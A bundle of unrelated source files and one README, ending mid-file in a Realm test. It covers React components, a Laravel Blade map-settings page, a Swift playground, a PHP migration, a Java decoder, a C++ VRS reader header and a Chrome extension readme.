<div className="flex_col gap-2 text-sm">
<p className="font-bold text-xl mb-4">0{idx+1}.</p>
<PTag title={'결제날짜 :'} text={order.product[0].dateOfPurchase.split("T")[0]} />
<PTag title={'결제시간 :'} text={order.product[0].dateOfPurchase.split("T")[1].split('.')[0]} />
<PTag title={'결제고객 :'} text={order.user.name + ' 님'} />
<PTag title={'결제코드 :'} text={order.product[0].paymentId} />
</div>
<div className="flex_col mt-8">
<p className="font-semibold text-lg ml-2 text-emerald-600">결제 상품 정보</p>
<div className="flex flex-wrap gap-4">
{order.product.map((item) => (
<div
key={item.id}
className="flex_col rounded-lg min-w-[180px] font-semibold text-white mt-3 cursor-pointer bg-primary-main gap-2 border p-2"
>
<p className="text-center mt-2 text-base"> {`< ${item.title} >`}</p>
<p className="mt-3 text-end">{item.price.toLocaleString()} 원(won)</p>
<button
onClick={() => navigate(`/explore/detail/${item.id}`)}
className="bg-white text-primary-main py-1 rounded-lg my-2">제품 상세정보</button>
</div>
))}
</div>
</div>
</div>
);
};
export default OrderList;
|
@extends('backend.layouts.app')
@section('title')
{{ __('map') }}
@endsection
@section('content')
<div class="container-fluid">
<div class="row">
<div class="col-md-12">
<!-- MAp -->
<div class="card">
<form id="" class="form-horizontal" action="{{ route('module.map.update') }}" method="POST">
@method('PUT')
@csrf
<div class="card-header">
<div class="d-flex justify-content-between">
<h3 class="card-title" style="line-height: 36px;">{{ __('map') }}
</h3>
</div>
</div>
@php
$map = $setting->default_map;
@endphp
<div class="card-body">
<x-website.map.map-warning/>
<div id="text-card" class="card-body">
<div class="form-group row text-left d-flex justify-content-center align-items-left">
@foreach ($errors->all() as $error)
<div class="col-sm-12 col-md-6 text-left text-md-center">
<div class="text-left alert alert-danger alert-dismissible">
{{ $error }}<br />
</div>
</div>
@endforeach
</div>
<div class="form-group row text-center d-flex align-items-center">
<div class="col-sm-12 col-md-6 text-left text-md-center">
<x-forms.label name="map_type" class="" />
</div>
<div class="col-sm-12 col-md-6">
<select name="map_type" class="form-control @error('map_type') is-invalid @enderror"
id="">
<option {{ $setting->default_map == 'leaflet' ? 'selected' : '' }}
value="leaflet">
{{ __('leaflet') }}
</option>
<option {{ $setting->default_map == 'google-map' ? 'selected' : '' }}
value="google-map">
{{ __('google_map') }}
</option>
</select>
@error('map_type')
<span class="invalid-feedback"
role="alert"><span>{{ $message }}</span></span>
@enderror
</div>
</div>
<!-- long -->
<div class="d-none">
<div class="col-sm-12 col-md-6 text-left text-md-center">
<x-forms.label name="default_long" class="" />
</div>
<div class="col-sm-12 col-md-6">
<input value="{{ $setting->default_long }}" name="default_long" type="text"
class="form-control @error('default_long') is-invalid @enderror"
autocomplete="off" placeholder="{{ __('default_long') }}">
@error('default_long')
<span class="text-left invalid-feedback"
role="alert"><span>{{ $message }}</span></span>
@enderror
</div>
</div>
<!-- Lat -->
<div class="d-none">
<div class="col-sm-12 col-md-6">
<x-forms.label name="default_lat" class="" />
</div>
<div class="col-sm-12 col-md-6 text-left text-md-center">
<input value="{{ $setting->default_lat }}" name="default_lat" type="text"
class="form-control @error('default_lat') is-invalid @enderror"
autocomplete="off" placeholder="{{ __('default_lat') }}">
@error('default_lat')
<span class="text-left invalid-feedback"
role="alert"><span>{{ $message }}</span></span>
@enderror
</div>
</div>
<!-- google map key -->
<div id="googlemap_key" class="{{ $map == 'google-map' ? '' : 'd-none' }}">
<div class="pt-4 form-group row text-center d-flex align-items-center">
<div class="col-sm-12 col-md-6">
<x-forms.label name="your_google_map_key" class="" />
</div>
<div class="col-sm-12 col-md-6 text-left text-md-center">
<input value="{{ $setting->google_map_key }}" name="google_map_key"
type="text"
class="form-control @error('google_map_key') is-invalid @enderror"
autocomplete="off" placeholder="{{ __('your_google_map_key') }}">
@error('google_map_key')
<span class="text-left invalid-feedback"
role="alert"><span>{{ $message }}</span></span>
@enderror
</div>
</div>
</div>
<!-- example map -->
<div class="pt-4 form-group row text-center d-flex align-items-center">
<div class="col-sm-12 col-md-6 text-left text-md-center">
<x-forms.label name="example_map" class="" />
</div>
<div class="col-sm-12 col-md-6">
{{-- Leaflet --}}
<div class="map mymap" id='leaflet-map'></div>
{{-- Google Map --}}
<div id="google-map-div" class="{{ $map == 'google-map' ? '' : 'd-none' }}">
<input id="searchInput" class="mapClass" type="text"
placeholder="Enter a location">
<div class="map mymap" id="google-map"></div>
</div>
@error('location')
<span class="text-md text-danger">{{ $message }}</span>
@enderror
</div>
</div>
</div>
<div class="form-group row pb-3">
<div class="offset-sm-5 col-sm-7">
<button type="submit" class="btn btn-success"><i class="fas fa-sync"></i>
{{ __('update') }}</button>
</div>
</div>
</div>
</form>
</div>
</div>
</div>
</div>
@endsection
@section('style')
<!-- >=>Leaflet<=< -->
<link href="{{ asset('backend/css/leaflet.css') }}" rel="stylesheet"/>
<link rel="stylesheet" href="{{ asset('backend/css/autocomplete.min.css') }}"/>
<style>
.mymap {
width: 100%;
min-height: 300px;
border-radius: 12px;
}
.p-half {
padding: 1px;
}
.mapClass {
border: 1px solid transparent;
margin-top: 15px;
border-radius: 4px 0 0 4px;
box-sizing: border-box;
-moz-box-sizing: border-box;
height: 35px;
outline: none;
box-shadow: 0 2px 6px rgba(0, 0, 0, 0.3);
}
#searchInput {
font-family: 'Roboto';
background-color: #fff;
font-size: 16px;
text-overflow: ellipsis;
margin-left: 16px;
font-weight: 400;
width: 30%;
padding: 0 11px 0 13px;
}
#searchInput:focus {
border-color: #4d90fe;
}
</style>
@endsection
@section('script')
<!-- >=>Leaflet<=< -->
<script>
// minimal configure
new Autocomplete("leaflet_serce", {
selectFirst: true,
howManyCharacters: 2,
onSearch: ({ currentValue }) => {
const api = `https://nominatim.openstreetmap.org/search?format=geojson&limit=5&city=${encodeURI(currentValue)}`;
return new Promise((resolve) => {
fetch(api)
.then((response) => response.json())
.then((data) => {
resolve(data.features);
})
.catch((error) => {
console.error(error);
});
});
},
onResults: ({ currentValue, matches, template }) => {
const regex = new RegExp(currentValue, "gi");
return matches === 0
? template
: matches
.map((element) => {
return `
<li class="loupe">
<p>
${element.properties.display_name.replace(
regex,
(str) => `<b>${str}</b>`
)}
</p>
</li> `;
})
.join("");
},
onSubmit: ({ object }) => {
map.eachLayer(function (layer) {
if (!!layer.toGeoJSON) {
map.removeLayer(layer);
}
});
const { display_name } = object.properties;
const [lng, lat] = object.geometry.coordinates;
const marker = L.marker([lat, lng], {
title: display_name,
});
marker.addTo(map).bindPopup(display_name);
map.setView([lat, lng], 8);
},
onSelectedItem: ({ index, element, object }) => {
console.log(object.properties)
console.log(object.geometry.coordinates)
// console.log("onSelectedItem:", index, element, object);
},
// the method presents no results element
noResults: ({ currentValue, template }) =>
template(`<li>No results found: "${currentValue}"</li>`),
});
// Map preview
var element = document.getElementById('leaflet-map');
// Height has to be set. You can do this in CSS too.
element.style = 'height:300px;';
// Create Leaflet map on map element.
var map = L.map(element);
// Add OSM tile layer to the Leaflet map.
L.tileLayer('http://{s}.tile.osm.org/{z}/{x}/{y}.png', {
attribution: '© <a href="http://osm.org/copyright">OpenStreetMap</a> contributors'
}).addTo(map);
// Target's GPS coordinates.
var target = L.latLng('47.50737', '19.04611');
// Set map's center to target with zoom 14.
const zoom = 14;
map.setView(target, zoom);
// Place a marker on the same location.
L.marker(target).addTo(map);
</script>
<!-- >=>Google Map<=< -->
<x-website.map.google-map-check/>
<script>
function initMap() {
var token = "{{ $setting->google_map_key }}";
var oldlat = {{ $setting->default_lat }};
var oldlng = {{ $setting->default_long }};
const map = new google.maps.Map(document.getElementById("google-map"), {
zoom: 7,
center: {
lat: oldlat,
lng: oldlng
},
});
const image =
"https://gisgeography.com/wp-content/uploads/2018/01/map-marker-3-116x200.png";
const beachMarker = new google.maps.Marker({
draggable: true,
position: {
lat: oldlat,
lng: oldlng
},
map,
// icon: image
});
google.maps.event.addListener(map, 'click',
function(event) {
pos = event.latLng
beachMarker.setPosition(pos);
let lat = beachMarker.position.lat();
let lng = beachMarker.position.lng();
$('input[name="default_lat"]').val(lat);
$('input[name="default_long"]').val(lng);
});
google.maps.event.addListener(beachMarker, 'dragend',
function() {
let lat = beachMarker.position.lat();
let lng = beachMarker.position.lng();
$('input[name="default_lat"]').val(lat);
$('input[name="default_long"]').val(lng);
});
// Search
var input = document.getElementById('searchInput');
map.controls[google.maps.ControlPosition.TOP_LEFT].push(input);
var autocomplete = new google.maps.places.Autocomplete(input);
autocomplete.bindTo('bounds', map);
var infowindow = new google.maps.InfoWindow();
var marker = new google.maps.Marker({
map: map,
anchorPoint: new google.maps.Point(0, -29)
});
autocomplete.addListener('place_changed', function() {
infowindow.close();
marker.setVisible(false);
var place = autocomplete.getPlace();
if (place.geometry.viewport) {
map.fitBounds(place.geometry.viewport);
} else {
map.setCenter(place.geometry.location);
map.setZoom(17);
}
});
}
window.initMap = initMap;
</script>
<script>
@php
$link1 = 'https://maps.googleapis.com/maps/api/js?key=';
$link2 = $setting->google_map_key;
$Link3 = '&callback=initMap&libraries=places,geometry';
$scr = $link1 . $link2 . $Link3;
@endphp;
</script>
<script src="{{ $scr }}" async defer></script>
<script>
$('select[name="map_type"]').on('change', function() {
var value = $(this).val();
if (value == 'google-map') {
$('#google-map-div').removeClass('d-none');
$('#googlemap_key').removeClass('d-none');
$('#leaflet-map').removeClass('d-none');
} else {
$('#google-map-div').addClass('d-none');
$('#googlemap_key').addClass('d-none');
$('#leaflet-map').addClass('d-none');
}
})
</script>
@endsection
|
import UIKit
var greeting = "Hello, playground"
print(greeting)
class Artist{
let name : String
var albumArr : [Album] = []
init(name : String){
self.name = name
}
func addAlbum(album : Album){
albumArr.append(album)
}
}
class Album {
let title : String
var songs :[Song] = []
init(title: String){
self.title = title
}
func addSongs(_ song: Song){
songs.append(song)
}
}
class Song{
let title : String
let duration:Double
init(title : String, duration: Double){
self.title = title
self.duration = duration
}
}
// Creating instance of Class
let artiest1 = Artist(name: "John Mature")
let album1 = Album(title: "Countinue")
let song = Song(title:"Gravity",duration:4.52)
artiest1.addAlbum(album: album1)
album1.addSongs(song)
print("Artist: \(artiest1.name)")
print("Album: \(album1.title)")
print("Song: \(song.title) Duration \(song.duration)")
/*
Explanation: I will summerised it properly
We defined three classes: Artist, Album, and Song.
The Artist class represents a music artist. It has a name property and an array of albums. The addAlbum method allows adding albums to the artist's collection.
The Album class represents an album. It has a title property and an array of songs. The addSong method adds songs to the album.
The Song class represents a song. It has properties for title and duration.
We created instances of these classes and used their properties and methods to build a music library representation.
The code demonstrates the concept of encapsulation, where the internal details of the classes are hidden from the outside. For example, the Artist class's albums and the Album class's songs are managed internally using arrays, and the methods provide controlled ways to modify these internal structures.
*/
|
<?php
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Database\Migrations\Migration;
class CreateDummyLogisticTable extends Migration
{
/**
* Run the migrations.
*
* @return void
*/
public function up()
{
Schema::create('dummylogistic', function (Blueprint $table) {
$table->increments('id');
$table->integer('porder_id');
$table->integer('qr_management_id');
$table->enum('priority',['low','normal','high','top'])->default('normal');
$table->timestamps();
$table->softDeletes();
$table->engine = 'MYISAM';
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::drop('dummylogistic');
}
}
|
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package com.frojasg1.general.codec.impl;
import com.frojasg1.general.ClassFunctions;
import com.frojasg1.general.codec.GenericStringDecoder;
import com.frojasg1.general.codec.Pojo;
import com.frojasg1.general.collection.codec.ThreadSafeArrayListWrapperStringDecoder;
import com.frojasg1.general.collection.impl.ThreadSafeGenListWrapper;
import com.frojasg1.general.map.MapWrapper;
import com.frojasg1.general.structures.Pair;
import java.util.ArrayList;
import java.util.List;
import java.util.function.Function;
/**
*
* @author Francisco Javier Rojas Garrido <[email protected]>
*/
public class GenericStringDecoderBuilder extends MapWrapper< Class<?>, GenericStringDecoder >
{
protected List< Pair< Class<?>, Function<Class<?>, GenericStringDecoder> > > _listForBuilding;
protected static class LazyHolder
{
protected static final GenericStringDecoderBuilder INSTANCE = new GenericStringDecoderBuilder();
}
public static GenericStringDecoderBuilder instance()
{
return( LazyHolder.INSTANCE );
}
public GenericStringDecoderBuilder()
{
init();
}
@Override
protected void init()
{
super.init();
_listForBuilding = createListForBuilding();
}
protected List< Pair< Class<?>, Function<Class<?>, GenericStringDecoder> > > createListForBuilding()
{
List< Pair< Class<?>, Function<Class<?>, GenericStringDecoder> > > result = new ArrayList<>();
result.add( new Pair<>( Pojo.class, cl -> new DefaultGenericPojoStringDecoderImpl( cl, this ) ) );
Function<Class<?>, GenericStringDecoder> leafDecoderBuilder = cl -> new DefaultGenericLeafStringDecoderImpl( cl, this );
result.add( new Pair<>( Number.class, leafDecoderBuilder ) );
result.add( new Pair<>( Boolean.class, leafDecoderBuilder ) );
result.add( new Pair<>( String.class, cl -> new DefaultGenericStringStringDecoderImpl( this ) ) );
result.add(new Pair<>( ThreadSafeGenListWrapper.class, cl -> new ThreadSafeArrayListWrapperStringDecoder(this) ) );
return( result );
}
public GenericStringDecoder get( String className )
{
return( get( classForName( className ) ) );
}
@Override
protected GenericStringDecoder create(Class<?> key) {
GenericStringDecoder result = null;
if( key != null )
result = createInternal( key );
return( result );
}
protected <CC> GenericStringDecoder<? super CC> createInternal( Class<CC> clazz )
{
GenericStringDecoder<? super CC> result = null;
for( Pair<Class<?>, Function<Class<?>, GenericStringDecoder>> pair: _listForBuilding )
if( pair.getKey().isAssignableFrom(clazz) )
{
result = pair.getValue().apply(clazz);
break;
}
return( result );
}
protected Class<?> classForName( String className )
{
return( ClassFunctions.instance().classForName(className) );
}
}
|
import { useState, useEffect, useCallback } from "react";
import cloneDeep from "lodash.clonedeep";
const initialBoard = [
[null, null, null],
[null, null, null],
[null, null, null]
];
const dim = 3;
// row-wise
// col-wise
// diagonal1
// diagonal2
export const checkWinner = (table) => {
let colResult;
// row check
// x x o
// x x x => xxx
// o x x
// o o x
// o o o => ooo
const checkRow = (testTable) => {
let testRowResult;
for (let row of testTable) {
const joinedRow = row.join("");
if (joinedRow === "x".repeat(dim)) {
// xxx
testRowResult = "x";
} else if (joinedRow === "o".repeat(dim)) {
// ooo
testRowResult = "o";
}
if (testRowResult) {
break;
}
}
return testRowResult;
};
// check row
const rowResult = checkRow(table);
// col check
// transpose table --> cols are getting rows of transposed table
// so we can do the same test
let transposedTable = [
// [],
// [],
// []
];
if (!rowResult) {
for (let row of table) {
let colIndex = 0;
for (let player of row) {
if (!Array.isArray(transposedTable[colIndex]))
transposedTable[colIndex] = [];
transposedTable[colIndex].push(player);
colIndex++;
}
}
colResult = checkRow(transposedTable);
}
// check diagonals
// x o o
// o x o
// o o x
// index 00, 11, 22 --> can be calculated with a counter
// or 02, 11, 20
/*
// 4 by 4
// o o o x
// o o x o
// o x o o
// x o o o
// 03, 12, 21, 30
// row++
// col = max--
// hard-coded
const center = table[1][1];
const dia1 = table[0][0] + center + table[2][2];
const dia2 = table[0][2] + table[1][1] + table[2][0];*/
const dia1 = Array.from(new Array(dim))
.map((_, i) => table[i][i])
.join("");
let countDown = dim;
const dia2 = Array.from(new Array(dim))
.map((_, i) => table[i][--countDown])
.join("");
const diaBoolCheck = (letter) =>
(dia1 === letter.repeat(dim) || dia2 === letter.repeat(dim)) && letter;
const diaResultX = diaBoolCheck("x");
const diaResultO = diaBoolCheck("o");
const diaResult = diaResultX || diaResultO;
return rowResult || colResult || diaResult;
};
const GAME_MODES = {
human: false, // human vs. human
ki: {
// human vs. ki --> o for KI & human starts
playerLetter: "o"
},
training: false // like human vs human but agent1 vs agent2
// x = human
// o = ki
};
export default () => {
const [table, setTable] = useState(cloneDeep(initialBoard));
const [winner, setWinner] = useState(null);
const [gameover, setGameover] = useState(false);
const [round, setRound] = useState(0);
const [activePlayer, setPlayer] = useState("x");
const [showGameover, setShowGameover] = useState(false);
// gamemode not used yet, but we could switch between
// human, ki basic & ki minimax (later)
const [gameMode, setGameMode] = useState(GAME_MODES.human ? "human" : "ki");
const handleCellClick = (row, col) => {
if (gameover || table[row][col] !== null) {
// already selected or game-over --> skip click
return;
}
if (gameMode === "ki" && activePlayer === GAME_MODES.ki.playerLetter) {
return; // ignore user clicks - if KI's turn
}
updateTable(row, col);
};
const getCell = (pos) => {
// 1 2 3 4 5 6 7 8 9
// row 0 row 1 row 2
// 0 1 2 0 1 2 0 1 2
// e.g. (1 - 1) / 3 = 0
// (2 - 1) / 3 = 0
// (3 - 1) / 3 = 0
// (4 - 1) / 3 = 1
const row = parseInt((pos - 1) / 3, 10); // 4 --> row = 1
return {
row,
col: pos - 1 - row * 3
};
};
const isCellEmpty = (row, col) => table[row][col] === null;
// simple KI - picks the first empty spot
const firstEmptyCell = () => {
let cell;
for (let i = 0; i < 9; i++) {
cell = getCell(i);
if (isCellEmpty(cell.row, cell.col)) {
break;
}
}
return cell;
};
const bestSpot = firstEmptyCell;
const handleRestart = () => {
setTable(cloneDeep(initialBoard));
setWinner(null);
setPlayer("x");
setRound(0);
setGameover(false);
};
const hideGameoverModal = () => setShowGameover(false);
const updateTable = useCallback(
(row, col) => {
setTable((tbl) => {
let draft = [...tbl];
draft[row][col] = activePlayer;
return draft;
});
setPlayer((a) => (a === "x" ? "o" : "x")); // toggle player
setRound((r) => r + 1);
},
[activePlayer]
);
useEffect(() => {
if (round > 0) {
const playerWon = checkWinner(table);
if (playerWon) {
setWinner(playerWon);
setGameover(true);
} else if (gameMode === "ki") {
const isKITurn = activePlayer === GAME_MODES.ki.playerLetter;
if (isKITurn) {
// call KI to do it's move
const kiClick = bestSpot();
updateTable(kiClick.row, kiClick.col);
}
}
}
if (round >= dim * dim) {
setGameover(true);
}
}, [round, table, activePlayer, bestSpot, updateTable, gameMode]);
useEffect(() => {
if (gameover) {
if (winner === null) {
// no winner = draw game
// gameover && winner == null --> draw display
setShowGameover(true);
return;
}
setShowGameover(true);
}
}, [gameover, winner]);
const currentPlayerText = (player) => {
let playerText;
if (gameMode === "ki") {
playerText = `${
player === GAME_MODES.ki.playerLetter ? "KI's turn" : "Human turn"
} ${player}`;
} else {
playerText = `Current Player: ${player}`;
}
return playerText;
};
return [
table, // 2d array of the game
{
gameStatus: {
activePlayer, // x or o?
currentPlayerText,
gameMode, // ki or human mode
gameover,
round, // counter of round 0,1...
showGameover, // showing gameover modal
winner // x or o is the winner, undefined = draw
},
actions: {
handleCellClick, // update table
handleRestart, // game restart
hideGameoverModal,
setGameMode
}
}
];
};
|
import styled from "styled-components";
import {
v,
InputBuscadorLista,
ConvertirCapitalize,
Device,
BtnCerrar,
} from "../../index";
import iso from "iso-country-currency";
import { useState } from "react";
export function ListaPaises({ setSelect, setState }) {
const isocodigos = iso.getAllISOCodes();
const [dataresult, setDataresult] = useState([]);
function seleccionar(p) {
setSelect(p);
setState();
}
function buscar(e) {
let filtrado = isocodigos.filter((item) => {
return item.countryName == ConvertirCapitalize(e.target.value);
});
setDataresult(filtrado);
}
return (
<Container>
<section className="titulo">
<span>Busca tu país</span>
<BtnCerrar funcion={setState} />
</section>
<InputBuscadorLista onChange={buscar} placeholder="buscar..." />
{dataresult.length > 0 &&
dataresult.map((item, index) => {
return (
<ItemContainer key={index} onClick={() => seleccionar(item)}>
<span>{item.countryName}</span>
<span>{item.symbol}</span>
</ItemContainer>
);
})}
</Container>
);
}
const Container = styled.div`
margin-top: 15px;
position: absolute;
top: 88%;
width: 100%;
display: flex;
flex-direction: column;
background: ${({ theme }) => theme.body};
border-radius: 10px;
padding: 10px;
gap: 10px;
color: ${({ theme }) => theme.text};
z-index: 3;
@media ${() => Device.tablet} {
width: 400px;
}
.titulo {
display: flex;
align-items: center;
justify-content: space-between;
background-color: ${({ theme }) => theme.body};
}
`;
const ItemContainer = styled.section`
gap: 10px;
display: flex;
padding: 10px;
border-radius: 10px;
cursor: pointer;
transition: 0.3s;
&:hover {
background-color: ${({theme})=>theme.bgtotal};
}
`;
|
/*
* Copyright (c) Meta Platforms, Inc. and affiliates.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#pragma once
#include "ForwardDefinitions.h"
#include "Record.h"
namespace vrs {
class RecordReader;
/// Class describing which record is being read. Most fields are really self explanatory.
struct CurrentRecord {
double timestamp;
StreamId streamId;
Record::Type recordType;
uint32_t formatVersion;
uint32_t recordSize; ///< Size of the record, uncompressed.
/// In some situations, some data wasn't read yet, and the RecordReader object can let you:
/// - know how much has been read.
/// - know how much has not been read, yet.
/// - read more data directly.
RecordReader* reader;
const IndexRecord::RecordInfo* recordInfo;
RecordFileReader* fileReader;
};
/// \brief Class designed to receive record data when reading a VRS file.
///
/// Class to handle data read from records of a VRS file, by attaching an instance to one or more
/// streams of a RecordFileReader. This base class is the bare-bones way to read VRS records.
/// Reading records is now probably better handled by the specialized RecordFormatStreamPlayer.
///
/// For each record, the stream player will be presented the record in a callback named
/// processXXXHeader(), which will tell if the record should be read by returning true, in which
/// case the callback is expected to set the provided DataReference to tell where the record's data
/// should be read. Upon completion of the read, the matching processXXX() callback will be
/// invoked, allowing the StreamPlayer to interpret/use the read data.
class StreamPlayer {
public:
virtual ~StreamPlayer();
/// Callback called just after the instance was attached to a RecordFileReader.
/// @param RecordFileReader: The record file reader the instance was attached to.
/// @param StreamId: Stream the instance was attached to.
virtual void onAttachedToFileReader(RecordFileReader&, StreamId) {}
/// Callback called when a record of any type is about to be read.
///
/// The default implementation delegates to the specialized callbacks below.
/// @param record: Details about the record being read. @see CurrentRecord.
/// @param outDataReference: Reference to be set, so as to tell where data should be read.
/// @see DataReference
/// @return True, if the record should be read.
virtual bool processRecordHeader(const CurrentRecord& record, DataReference& outDataReference) {
if (record.recordType == Record::Type::DATA) {
return processDataHeader(record, outDataReference);
} else if (record.recordType == Record::Type::CONFIGURATION) {
return processConfigurationHeader(record, outDataReference);
} else if (record.recordType == Record::Type::STATE) {
return processStateHeader(record, outDataReference);
} else {
return false;
}
}
/// Called after processRecordHeader() set the DataReference it was given and returned true, and
/// after data was written to memory specified by the DataReference.
/// @param record: Details about the record being read. @see CurrentRecord.
/// @param bytesWrittenCount: Number of bytes read and written to the DataReference.
/// The default implementation delegates to the specialized callbacks below.
virtual void processRecord(const CurrentRecord& record, uint32_t readSize) {
if (record.recordType == Record::Type::DATA) {
processData(record, readSize);
} else if (record.recordType == Record::Type::CONFIGURATION) {
processConfiguration(record, readSize);
} else if (record.recordType == Record::Type::STATE) {
processState(record, readSize);
}
}
/// Called when a State record is about to be read.
/// @param record: Details about the record being read. @see CurrentRecord.
/// @param outDataReference: Reference to be set, so as to tell where data should be read.
/// @see DataReference
/// @return True, if the record should be read.
virtual bool processStateHeader(
const CurrentRecord& /* record */,
DataReference& /* outDataReference */) {
return false;
}
/// Called after processStateHeader() set the DataReference it was given and returned true, and
/// after data was written to memory specified by the DataReference.
/// @param record: Details about the record being read. @see CurrentRecord.
/// @param bytesWrittenCount: Number of bytes read and written to the DataReference.
virtual void processState(const CurrentRecord& /* record */, uint32_t /* bytesWrittenCount */) {}
/// Called when a Configuration record is about to be read.
/// @param record: Details about the record being read. @see CurrentRecord.
/// @param outDataReference: Reference to be set, so as to tell where data should be read.
/// @see DataReference
/// @return True, if the record should be read.
virtual bool processConfigurationHeader(
const CurrentRecord& /* record */,
DataReference& /* outDataReference */) {
return false;
}
/// Called after processConfigurationHeader() set the DataReference it was given and returned
/// true, and after data was written to memory specified by the DataReference.
/// @param record: Details about the record being read. @see CurrentRecord.
/// @param bytesWrittenCount: Number of bytes read and written to the DataReference.
virtual void processConfiguration(
const CurrentRecord& /* record */,
uint32_t /* bytesWrittenCount */) {}
/// Called when a data record is about to be read.
/// @param record: Details about the record being read. @see CurrentRecord.
/// @param outDataReference: Reference to be set, so as to tell where data should be read.
/// @see DataReference
/// @return True, if the record should be read.
virtual bool processDataHeader(
const CurrentRecord& /* record */,
DataReference& /* outDataReference */) {
return false;
}
/// Called after processDataHeader() set the DataReference it was given and returned true, and
/// after data was written to memory specified by the DataReference.
/// @param record: Details about the record being read. @see CurrentRecord.
/// @param bytesWrittenCount: Number of bytes read and written to the DataReference.
virtual void processData(const CurrentRecord& /* record */, uint32_t /* bytesWrittenCount */) {}
/// Called after a record was read, so maybe a follow-up action can be performed.
/// @param reader: the VRS file reader used to read the file.
/// @param recordInfo: the record that was just read.
virtual int recordReadComplete(
RecordFileReader& /*reader*/,
const IndexRecord::RecordInfo& /*recordInfo*/) {
return 0;
}
/// A stream player might be queueing read data for asynchronous processing.
/// This method can be called to signal that internal data/queues should be flushed,
/// so processing can be guaranteed to be completed.
virtual void flush() {}
};
} // namespace vrs
|
## PR-Assistant chrome extension
PR-Assistant Chrome extension is a collection of tools that integrates seamlessly with your GitHub environment, aiming to enhance your PR-Assistant usage experience, and providing additional features.
## Features
### Toolbar extension
With PR-Assistant Chrome extension, it's [easier than ever](https://www.youtube.com/watch?v=gT5tli7X4H4) to interactively configure and experiment with the different tools and configuration options.
After you found the setup that works for you, you can also easily export it as a persistent configuration file, and use it for automatic commands.
<img src="https://khulnasoft.com/images/pr_assistant/toolbar1.png" width="512">
<img src="https://khulnasoft.com/images/pr_assistant/toolbar2.png" width="512">
### PR-Assistant filters
PR-Assistant filters is a sidepanel option. that allows you to filter different message in the conversation tab.
For example, you can choose to present only message from PR-Assistant, or filter those messages, focusing only on user's comments.
<img src="https://khulnasoft.com/images/pr_assistant/pr_assistant_filters1.png" width="256">
<img src="https://khulnasoft.com/images/pr_assistant/pr_assistant_filters2.png" width="256">
### Enhanced code suggestions
PR-Assistant Chrome extension adds the following capabilities to code suggestions tool's comments:
- Auto-expand the table when you are viewing a code block, to avoid clipping.
- Adding a "quote-and-reply" button, that enables to address and comment on a specific suggestion (for example, asking the author to fix the issue)
<img src="https://khulnasoft.com/images/pr_assistant/chrome_extension_code_suggestion1.png" width="512">
<img src="https://khulnasoft.com/images/pr_assistant/chrome_extension_code_suggestion2.png" width="512">
## Installation
Go to the marketplace and install the extension:
[PR-Assistant Chrome Extension](https://chromewebstore.google.com/detail/pr-assistant-chrome-extension/ephlnjeghhogofkifjloamocljapahnl)
## Pre-requisites
The PR-Assistant Chrome extension will work on any repo where you have previously [installed PR-Assistant](https://khulnasoft.github.io/installation/).
## Data privacy and security
The PR-Assistant Chrome extension only modifies the visual appearance of a GitHub PR screen. It does not transmit any user's repo or pull request code. Code is only sent for processing when a user submits a GitHub comment that activates a PR-Assistant tool, in accordance with the standard privacy policy of PR-Assistant.
|
import fs from 'fs';
import MetaRealmManager from '../src/MetaRealms/metaRealmManager';
import LoadableRealmManager from '../src/LoadableRealms/LoadableRealmManager';
import { saveSchema } from '../src/MetaRealms';
const TEST_NAME: string = 'LoadableRealm';
const TEST_DIRECTORY: string = `__tests__/${TEST_NAME}`;
const META_REALM_PATH1: string = `${TEST_DIRECTORY}/MetaRealm1.path`;
const META_REALM_PATH2: string = `${TEST_DIRECTORY}/MetaRealm2.path`;
const LOADABLE_REALM_PATH1: string = `LoadableRealm1.path`;
const LOADABLE_REALM_PATH2: string = `LoadableRealm2.path`;
const LOADABLE_SCHEMA_1: Realm.ObjectSchema = {
name: 'LoadableSchema1',
primaryKey: 'name',
properties: {
name: 'string',
schema1Data: 'string',
},
};
const LOADABLE_SCHEMA_2: Realm.ObjectSchema = {
name: 'LoadableSchema2',
primaryKey: 'name',
properties: {
name: 'string',
schema2Data: 'string',
},
};
const LOADABLE_SCHEMA_3: Realm.ObjectSchema = {
name: 'LoadableSchema3',
primaryKey: 'name',
properties: {
name: 'string',
schema3Data: 'string',
},
};
const LOADABLE_SCHEMA_4: Realm.ObjectSchema = {
name: 'LoadableSchema4',
primaryKey: 'name',
properties: {
name: 'string',
schema4Data: 'string',
},
};
const LOADABLE_SCHEMA_5: Realm.ObjectSchema = {
name: 'LoadableSchema5',
primaryKey: 'name',
properties: {
name: 'string',
schema5Data: 'string',
},
};
describe('LoadableRealmManager', () => {
beforeAll(() => {
if (fs.existsSync(TEST_DIRECTORY)) fs.rmSync(TEST_DIRECTORY, { recursive: true });
fs.mkdirSync(TEST_DIRECTORY);
});
it('Should fail to open a non-existant LoadableRealm', async () => {
await expect(LoadableRealmManager.loadRealm({ metaRealmPath: META_REALM_PATH1, loadableRealmPath: LOADABLE_REALM_PATH1 })).rejects.toThrowError();
await expect(LoadableRealmManager.loadRealm({ metaRealmPath: META_REALM_PATH1, loadableRealmPath: LOADABLE_REALM_PATH1 })).rejects.toThrowError();
await expect(LoadableRealmManager.reloadRealm({ metaRealmPath: META_REALM_PATH1, loadableRealmPath: LOADABLE_REALM_PATH1 })).rejects.toThrowError();
await expect(LoadableRealmManager.reloadRealm({ metaRealmPath: META_REALM_PATH1, loadableRealmPath: LOADABLE_REALM_PATH1 })).rejects.toThrowError();
expect(() => LoadableRealmManager.closeLoadableRealm({ metaRealmPath: META_REALM_PATH1, loadableRealmPath: LOADABLE_REALM_PATH1 })).not.toThrowError();
expect(() => LoadableRealmManager.closeLoadableRealm({ metaRealmPath: META_REALM_PATH1, loadableRealmPath: LOADABLE_REALM_PATH1 })).not.toThrowError();
});
it('Should have no open LoadableRealms', async () => {
expect(LoadableRealmManager.getAllLoadableRealmKeys()).toEqual([]);
expect(LoadableRealmManager.getAllLoadableRealms()).toEqual([]);
expect(LoadableRealmManager.getAllOpenLoadableRealmKeys()).toEqual([]);
expect(LoadableRealmManager.getAllOpenLoadableRealmKeys()).toEqual([]);
